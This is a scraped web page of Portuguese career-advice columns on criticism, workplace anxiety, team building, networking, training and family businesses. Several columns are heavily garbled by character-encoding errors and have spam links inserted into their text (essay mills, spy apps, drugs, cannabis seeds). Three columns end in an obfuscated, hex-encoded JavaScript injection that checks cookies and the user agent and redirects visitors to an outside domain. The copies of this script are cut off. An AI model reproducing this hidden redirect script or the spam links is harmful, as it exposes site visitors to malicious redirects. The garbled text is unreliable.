Alguns profissionais têm bastante dificuldade em reconhecer suas próprias falhas. Mesmo quando recebem uma crítica, não levam em consideração ou preferem justificar o problema no outro ou em fatores externos. Mas como fazer para compreender melhor uma crítica?
Algumas vezes, a dificuldade em aceitar uma crítica pode estar associada à autoimagem muito idealizada, ou seja, uma visão sobre si mesmo excessivamente positiva. De fato, pessoas com perfil mais narcisista, usando uma linguagem mais psicanalítica, buscam o tempo todo o reforço dos seus aspectos positivos e, portanto, rejeitam qualquer situação em que tenham que se confrontar com suas próprias fragilidades, preferindo deslocar o problema para terceiros.
Além desse grupo com perfil mais narcisista, existem também pessoas que não recebem bem as críticas pelo fato de terem uma visão distorcida sobre elas. Entendem crítica como algo ruim, um ataque ou uma afronta. Nesses casos, o comportamento mais comum é o de tratar como uma ofensa pessoal ou de pensar que o colega está querendo lhe prejudicar de alguma forma.
Mas é importante parar para pensar o que se perde quando desconsideramos a opinião do outro sobre nós, sobre nosso trabalho ou desempenho. No âmbito profissional esse comportamento reativo pode ser fatal para a sua carreira. Para mudar esse quadro, o primeiro passo é saber diferenciar uma crítica construtiva daquela que, de fato, não agrega em nada. Nesse sentido, algumas dicas podem auxiliar nesta avaliação:
1) Analise o histórico do seu relacionamento com o colega que fez a crítica. Caso nunca tenham tido atritos ou situações mal resolvidas, a maior probabilidade é de que a avaliação tenha sido feita no intuito de ajudar;
2) Analise o tom e a linguagem da crítica: de que forma ela foi feita? Ela trouxe contribuições ou veio apenas em tom de denúncia ou ataque?
3) Pondere a forma como a crítica chegou até você: ela foi realizada na frente de todos ou de modo reservado?
4) Reflita se o que está sendo dito pode lhe ajudar de alguma forma, caso você consiga aplicar a mudança que está sendo indicada.
Enfim, é necessário ter em vista que uma crítica construtiva, quando bem compreendida, é capaz de colaborar com o nosso desenvolvimento profissional e evitar acomodação. Além disso, as críticas construtivas podem ajudar a reforçar o relacionamento entre as partes envolvidas, afinal de contas, quando alguém faz este tipo de avaliação é porque acredita que o outro é capaz de melhorar e evoluir.
No dia a dia de trabalho, não é raro o profissional se deparar com dificuldades na realização de suas atividades. Muitas vezes são situações desafiadoras capazes de tirar o profissional da sua zona de conforto. São esses momentos que podem provocar a sensação de angústia e saber lidar com este sentimento pode ser um diferencial.
Desafios e dificuldades são comuns na rotina corporativa. E quando o profissional recebe uma atividade que exige dele mais do que ele está acostumado a realizar ou quando se depara com problemas aparentemente insolúveis, é bastante natural que no primeiro momento o sentimento predominante seja o medo e a angústia de não conseguir corresponder às expectativas. Porém, nessas horas, é importante manter a calma e confiar na sua própria competência, afinal, se você está envolvido com a situação ou se é algo que se relaciona com suas atividades, é muito provável que seja mesmo você a pessoa com mais propriedade para discutir as alternativas e chegar a alguma solução.
Portanto, tente administrar a angústia, entendendo que ela faz parte do processo, mas não deixe que ela ganhe força ao ponto de tomar conta do pensamento. Deixar-se paralisar diante do medo pode, no mínimo, bloquear a reflexão sobre as possibilidades de solução e atrasar a entrega dos resultados. De toda forma, seguem algumas dicas para ajudar a enfrentar os momentos de maior dificuldade:
1. Não se deve hesitar em contar com a ajuda dos colegas de trabalho e até do próprio gestor. Conversar a respeito do problema pode ajudar a compreender o quadro geral e encontrar soluções;
2. Tente também escrever sobre o problema, sistematizando algumas informações. Ter as idéias organizadas ajuda a conseguir refletir de forma mais ordenada;
3. Busque solução fora do seu ambiente de trabalho. Isso é possível acionando algum colega que atue na mesma área que a sua em outra empresa, buscando grupos de discussão e troca de conhecimento, também com profissionais da área ou qualquer outra opção em que caiba um benchmarking.
O importante é não desanimar. A angústia pode ser uma grande inimiga nos momentos de dificuldade. Deixar de lado a postura queixosa e passar a focar na solução é o melhor caminho. Coloque para fora o problema, escreva, peça ajuda, converse sobre ele, reflita e busque alternativas até que elas apareçam. Não há super-heróis em momentos como esse. Só uma atitude de protagonista fará com que ele se resolva.
Um problema recorrente nas organizações é a falta de paciência de alguns jovens gestores para desenvolverem as suas equipes. Ao assumirem a gestão de pessoas, muitos esperam encontrar um grupo pronto, já formado e que necessite de pouco investimento. Porém, ao contrário do que se imagina, para ter uma equipe desenvolvida e afinada são necessárias capacitação e orientação permanentes. Um processo que requer tempo e paciência.
Quando não se está preparado para esta função, a reação mais comum diante de um quadro de profissionais de baixo desempenho costuma ser a demissão; substituir um ou mais profissionais da equipe, ao invés de tentar ajustá-los, mantendo a crença de que é possível encontrar profissionais prontos no mercado e, mais uma vez, pensando em ter menos “trabalho” no que se refere à equipe.
Contudo, pensar que as trocas constantes serão a solução mais fácil para os seus problemas é um equivoco, uma vez que o novo profissional, mesmo que seja competente tecnicamente, também vai demandar tempo para se adequar às demandas, ao ritmo de trabalho e à cultura da companhia, e tudo isso vai exigir muita orientação e acompanhamento gerencial.
Além disso, é necessário compreender que qualquer equipe, mesmo àquelas compostas por “referências” na sua área de atuação, necessita de investimento e atenção constantes e este é um papel indelegável do gestor. Até quando as pessoas já estão integradas, alinhadas com as estratégias e dando bons resultados a equipe pode desandar e sair da rota quando menos se espera. Basta uma mudança mais significativa que tenha um impacto direto no trabalho, ou a chegada de um integrante novo como também a saída de alguém importante e pronto: está formado outro grupo que vai requerer um novo investimento.
Portanto, se você se encaixa neste tipo de gestor que acredita que a gestão de pessoas é simples, basta escolher as pessoas certas e a equipe estará pronta, é bom rever os seus conceitos. Para se ter uma equipe preparada é preciso muita dedicação de tempo gerencial e investimento em capacitação e orientação. Além disso, o acompanhamento deve ser sistemático e permanente, pois nunca chega ao fim.
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T http://csred.org/2018/02/buy-essays/ er iniciativa, estar sempre por dentro das tendA?ncias de mercado, nA?o ter medo de arriscar e estar comprometido com os resultados da empresa sA?o algumas das caracterAi??sticas de um profissional com perfil empreendedor. Mas, ao contrA?rio do que muitos pensam, vocA? nA?o precisa ser dono de um negA?cio para colocar em prA?tica esses diferenciais e alavancar a sua carreira.
Hoje em dia, as organizaAi??Ai??es estA?o procurando, cada vez mais, profissionais que tenham uma ai???visA?o de donoai??? e que ai???vistam a camisaai??? da empresa. Aqueles que tA?m essa postura empreendedora tA?m mais chances de se destacar e atAi?? mesmo chegar a um cargo de lideranAi??a. Mas como Ai?? possAi??vel empreender quando se Ai?? empregado e nA?o dono de uma empresa?
Para ser visto como um empregado empreendedor Ai?? preciso ser proativo e nA?o ficar apenas esperando pelas ordens para agir, ter uma postura crAi??tica diante das atividades que desempenha, ser atento Ai??s tendA?ncias de mercado e tambAi??m da sua prA?pria A?rea de atuaAi??A?o. Na prA?tica, isso significa conseguir apresentar novos projetos visando manter a competitividade no futuro, buscar soluAi??Ai??es inovadoras que ajudem a resolver problemas e melhorar processos atuais.
Entretanto, Ai?? preciso, tambAi??m, ficar atento e ter cuidado com o excesso de iniciativa, pois precipitaAi??Ai??es podem nA?o ser bem vistas. Por isso, antes de colocar em prA?tica o seu ai???perfil empreendedorai???, procure conhecer a cultura da empresa da qual vocA? faz parte, buscando compreender seu limite de atuaAi??A?o. Evite sair fazendo mudanAi??as sem alinhar antes com o seu gestor.
Do ponto de vista das empresas, para aquelas que desejam, de fato, ter profissionais empreendedores, Ai?? importante cada vez mais investir em um ambiente de trabalho propAi??cio para que as ideias aconteAi??am. Criar espaAi??os de discussA?o, dar abertura para o novo e controlar a cultura de ai???caAi??a aos culpadosai??? sA?o algumas diretrizes fundamentais. Afinal de contas, se o que prevalecer for a cultura do medo ai??i?? de errar ou de ser repreendido – o resultado, inevitavelmente, serA?o profissionais desmotivados e pouco colaborativos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Empreender tem sido um verbo cada vez mais usado atualmente. Principalmente para tentar driblar a crise, temos visto cada vez mais pessoas buscando esse caminho. PorAi??m, escolher a rota do empreendedorismo significa, na maioria das vezes, optar por assumir uma rotina mais pesada de trabalho, cheia de exigA?ncias profissionais e com pouco tempo para desfrutar da vida pessoal. AlAi??m disso, muitas vezes, significa tambAi??m ter que conviver com a angustia de ai???nA?o dar certoai??? e o medo de nA?o ter fA?lego para suportar um perAi??odo de escassez financeira, principalmente no inicio do negA?cio. E quais sA?o os custos disso para a mente e o corpo desse profissional?
Gerir o prA?prio negA?cio, principalmente no comeAi??o, Ai?? extremamente difAi??cil e trabalhoso, exige dedicaAi??A?o implacA?vel, toma horas de sono, de lazer e da famAi??lia. Quantas vezes ouvimos falar sobre empreendedores que trabalham demais e acabam deixando a vida de lado, nA?o vendo seus filhos crescerem e chegando atAi?? a desenvolver quadros de ansiedade, nervosismo, crises de pA?nico e atAi?? doenAi??as como gastrite, por exemplo?
Ai?? claro que quem opta por empreender sabe que isso demandarA? alguns sacrifAi??cios, mas permanecer nesse ritmo de forma indeterminada, virando noites trabalhando, sem se alimentar corretamente e muitas vezes fazendo uso de estimulantes artificiais para dar conta de tudo nA?o Ai?? nem um pouco sustentA?vel e em algum momento essa ai???contaai??? vai chegar.
Por isso, Ai?? importante que os empreendedores atentem para os sinais de que estA?o prA?ximos ao seu limite, reflitam sobre seus hA?bitos e busquem construir uma cultura de jornada de trabalho saudA?vel. Nesse caminho, vale estabelecer pausas estratAi??gicas alternando os momentos de cuidar dos negA?cios com perAi??odos para estar prA?ximo da famAi??lia, meditar, fazer uma atividade fAi??sica prazerosa, viajar, entre outras coisas que contribuem para a saA?de fAi??sica e mental de todos nA?s.
Afinal, de que adianta construir um negA?cio bem sucedido se nA?o teremos condiAi??Ai??es de usufruir dos resultados alcanAi??ados? JA? vimos muitos empreendedores desistirem no auge do sucesso do negA?cio porque nA?o conseguiram estabelecer uma rotina mais equilibrada. Fique atento para nA?o colocar tudo a perder!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Por causa do meu bom desempenho, passei de estagiário para efetivado mesmo sem ter me formado ainda. Quais cuidados devo tomar para dar conta dessa nova posição?
Para muitos jovens, conseguir a primeira oportunidade no mercado de trabalho como estagiário já é uma grande conquista, mas, na realidade, todos sonham em serem efetivados. Não é incomum acontecer do profissional que se destaca no estágio ser convidado para uma efetivação antes de ter terminado a faculdade, porém, muitos jovens não se dão conta da importância de discutir as mudanças de responsabilidades, tratando a nova posição como continuidade da função anterior.
Por isso, ao passar de estagiário para efetivado, antes de tudo é preciso pactuar com o gestor quais são as expectativas e resultados que a empresa espera com a sua efetivação. Deixar esses pontos bem alinhados é essencial para que, mais adiante, consiga percebe se está entregando o desempenho desejado.
Outro ponto muito importante é a rotina. Quando somos efetivados, as responsabilidades aumentam junto com a carga de trabalho. Lembre-se que, mesmo não sendo mais estagiário, ainda terá que dar conta dos estudos. Procure fazer as mudanças na sua rotina para que consiga conciliar estudo, trabalho, descanso e lazer.
Afinal, não adianta ser efetivado pelo bom desempenho que tinha enquanto estagiário e se acomodar, achando que sua posição está garantida e deixando a desejar nos resultados. É importante fazer a empresa perceber que fez um bom investimento com a sua efetivação.
A http://sunny-graham-realty.com/spy-app-sms-spy/ http://handynummerorten.net/delivery-celebrex/ http://fivestarplacement.com/buy-cannabis-seeds-toronto/ formaAi??A?o de uma rede de relacionamentos profissionais ai??i?? mais conhecida como networking – Ai?? muito importante em qualquer A?rea de atuaAi??A?o. NA?o importa se vocA? estA? empregado, Ai?? procura de trabalho ou se jA? Ai?? dono do prA?prio negA?cio. Todo profissional deve cuidar e manter ativos os vAi??nculos construAi??dos ao longo de sua trajetA?ria profissional.
De modo geral, o networking compreende cooperaAi??A?o e conjugaAi??A?o de informaAi??Ai??es e recursos, com o objetivo de obter algo para um ou mais integrantes de uma rede. E Ai?? a partir desse cAi??rculo de relacionamento que podemos buscar e obter novas oportunidades para nosso crescimento profissional ou do nosso negA?cio. Na prA?tica, alAi??m de ter um currAi??culo interessante e boas habilidades, o profissional tambAi??m precisa conhecer e se fazer conhecido.
Para construir uma boa rede de relacionamento profissional, seguem duas dicas: (1) no caso de um rompimento de um contratado de trabalho ou mesmo de uma relaAi??A?o de parceira cliente/fornecedor, procure finalizar o relacionamento bem, sem deixar nenhuma pendA?ncia ou criar rixas, porque isso contarA? a seu favor se precisar de algo no futuro; (2) quando estiver participantes de congressos, palestras, cursos ou eventos de outra natureza, procure conhecer e se aproximar de outros profissionais da sua A?rea ou de A?reas relacionadas. Para isso, Ai?? importante circular e evitar sempre as mesmas rodas de conversa.
O networking faz diferenAi??a quando se faz necessA?ria a troca de experiA?ncias, o levantamento de referA?ncias sobre uma empresa ou profissional e a busca de informaAi??Ai??es sobre conhecimentos especAi??ficos. Por exemplo, ter o contato de alguAi??m que pode dizer quem Ai?? referA?ncia em determinado assunto pode lhe aproximar da soluAi??A?o de um problema.
E para que essa rede esteja sempre ativa, Ai?? importante manter os contatos sempre atualizados, seja o e-mail, telefone ou perfis as redes sociais. Em eventos e momentos de integraAi??A?o, troque cartAi??es de visita e guarde-os sempre. Hoje existem vA?rios aplicativos que ajudam a arquivar cartAi??es profissionais para que se tenha acesso fA?cil quando precisar. O LinkedIn, rede social de negA?cios, tambAi??m Ai?? uma forma inteligente de manter seu networking ativo. Procure sempre enviar notAi??cias e artigos, alAi??m de compartilhar informaAi??Ai??es estratAi??gicas com as suas conexAi??es.
Por fim, vale lembrar que o bom senso Ai?? sempre bem-vindo. Ou seja, busque utilizar sua rede de relacionamentos de forma coerente, sem incomodar ou parecer inconveniente. Entender a diferenAi??a entre auxAi??lio esporA?dico e insistA?ncia desagradA?vel farA? com que vocA? tenha sempre uma boa ligaAi??A?o com seus contatos e possa contar com eles quando necessA?rio. var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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Estou sentindo a necessidade de me capacitar e gostaria do apoio da empresa em que trabalho para cobrir os custos. Qual seria a melhor forma de pleitear esse auxílio?
Muitas vezes, ficamos na expectativa de que a empresa em que trabalhamos financie 100% dos nossos investimentos em capacitação, o que é cada dia mais difícil, mas conseguir uma ajuda torna-se mais fácil quando há contrapartidas. Um dos erros mais comuns em situações como essa é quando o profissional pede que a organização banque um curso ou palestra, por exemplo, que pouco tem a ver com a sua área de atuação.
É muito comum ouvirmos as empresas reclamarem que investiram em capacitação para seus profissionais, mas não viram o retorno disso no dia a dia. Precisamos lembrar que o profissional é o maior responsável pelo seu desenvolvimento e que ele não deve tentar transferir essa responsabilidade para as empresas. Entretanto, as organizações podem sim custear parte ou até 100% de programas de capacitação quando entendem que esse investimento poderá trazer bons frutos para os negócios.
Nesse caminho, seguir algumas dicas pode ajudar:
1. Defina quais são as suas necessidades de aprendizado. Liste os cursos ou atividades que tenham a ver com sua função e que tenham conteúdo que possam agregar realmente ao seu trabalho;
2. Se coloque à disposição para compartilhar o conteúdo que você absorveu com a equipe. Dessa forma, a empresa verá que o investimento será multiplicado. É um modo de retribuir e fazer com que o conhecimento se espalhe;
3. Não fique só na teoria. Tenha compromisso com a aplicação prática do que você aprendeu na capacitação. Busque utilizar o conhecimento adquirido para melhorar seu desempenho, aperfeiçoar processos, etc.
Seguindo essas boas práticas, além de demonstrar interesse no seu crescimento profissional e na sua carreira, você se credencia para próximas oportunidades. A empresa verá que o investimento foi bem aproveitado e que ambas as partes saíram ganhando.
Quem nunca errou no ambiente de trabalho? Falhar em algum procedimento, enviar um e-mail com informações importantes para o destinatário errado ou causar algum mal-entendido com os colegas, por exemplo, são alguns eventos que, infelizmente, podem ocorrer. É natural errar, porém, minimizar ou omitir o erro pode transformar uma falha comum em um problema maior.
Alguns profissionais, quando cometem pequenos deslizes, optam por não compartilhar com o gestor ou mentir sobre o ocorrido, seja por medo de uma reação negativa que vá gerar alguma punição ou simplesmente por acharem que darão “conta do recado” e que a situação será resolvida sem maiores consequências. O problema pode até ser sanado sem que o chefe fique sabendo, entretanto, em algum momento o caso pode acabar vindo à tona e isto pode não “pegar bem”.
Como o gestor é quem responde pelos atos da sua equipe, é muito importante que ele seja comunicado o mais rápido possível para que possa estar preparado caso seja questionado sobre o que aconteceu ou precise intervir para contornar a situação. E mais, o episódio precisa ser relatado com detalhes desde o seu início até o ponto em que a questão se encontra.
A omissão ou o não compartilhamento de alguma situação pode acabar gerando um grande incômodo e estremecendo os laços de confiança da empresa com o profissional. Em resumo, esconder ou não falar de um erro nunca deve ser uma opção. É melhor ser sempre o mais transparente possível, mesmo que no fim das contas a falha não seja tão significante ou, ao contrário, as consequências podem ser muito ruins.
Ai?? muito comum encontrarmos profissionais de mercado com uma visA?o preconcebida sobre as empresas familiares. Apesar de tudo o que jA? se conhece sobre a forAi??a econA?mica e social dessas organizaAi??Ai??es, muitas pessoas ainda resistem na hora da seleAi??A?o e preferem sonhar apenas com as multinacionais. PorAi??m, Ai?? preciso atentar para o fato de que algumas das ditas ai???caracterAi??sticas negativasai??? dessas empresas podem tambAi??m ser encontradas em outras organizaAi??Ai??es. AlAi??m disso, fazer parte de uma empresa familiar tem suas vantagens.
SA?o diversos os ai???preconceitosai??? de alguns profissionais com relaAi??A?o Ai??s empresas familiares. Algumas dessas ai???distorAi??Ai??esai??? passam pela crenAi??a equivocada de que nas empresas familiares nA?o hA? espaAi??o para alguAi??m que nA?o Ai?? da famAi??lia traAi??ar uma trajetA?ria de crescimento; acredita-se que a direAi??A?o Ai?? composta apenas por parentes e que essas empresas tendem a ser menos profissionalizadas.
Bom, Ai?? fato que algumas empresas familiares estA?o em processo de profissionalizaAi??A?o e, portanto, ainda podem apresentar algumas dificuldades naturais de empresas que nA?o tem um modelo de governanAi??a estruturado. Dessa forma, parte das dificuldades vivenciadas nesse tipo de empresa nA?o sA?o por serem familiares e sim pela falha ou falta do sistema de governanAi??a.
Por exemplo, quando o assunto Ai?? carreira ou crescimento por mAi??rito, muitas organizaAi??Ai??es, inclusive as multinacionais, pecam quando seus gestores fazem escolhas em funAi??A?o dos vAi??nculos ou das relaAi??Ai??es de preferA?ncia na equipe; nA?o Ai?? incomum vermos casos de promoAi??A?o sem ser por merecimento.
AlAi??m de constatar que distorAi??Ai??es podem acontecer em qualquer organizaAi??A?o, tambAi??m Ai?? importante atentar para algumas vantagens de fazer parte de uma empresa familiar, na maioria das vezes de menor porte do que as multinacionais, como por exemplo:
ai??? Acesso mais fA?cil (Ai??s vezes direto) Ai?? diretoria / alta gestA?o;
ai??? Mais agilidade nos processos decisA?rios e menos burocracia;
ai??? Mais agilidade e aAi??Ai??es imediatas diante de ameaAi??as;
ai??? VAi??nculos mais fortes de solidariedade e cooperaAi??A?o que ultrapassam as fronteiras da famAi??lia;
ai??? Possibilidade de ter seu trabalho reconhecido com repercussA?o mais imediata na carreira.
EntA?o, antes de decidir rejeitar propostas de emprego vindas de empresas familiares, procure informaAi??Ai??es mais concretas sobre a organizaAi??A?o em questA?o e busque entender de que forma ela estA? organizada e qual Ai?? o seu grau de profissionalizaAi??A?o. Uma boa forma de fazer isso Ai?? falando diretamente com pessoas do seu quadro profissional. Tenha sempre o cuidado de pesquisar, ou este preconceito poderA? te tirar uma grande oportunidade de crescimento profissional.
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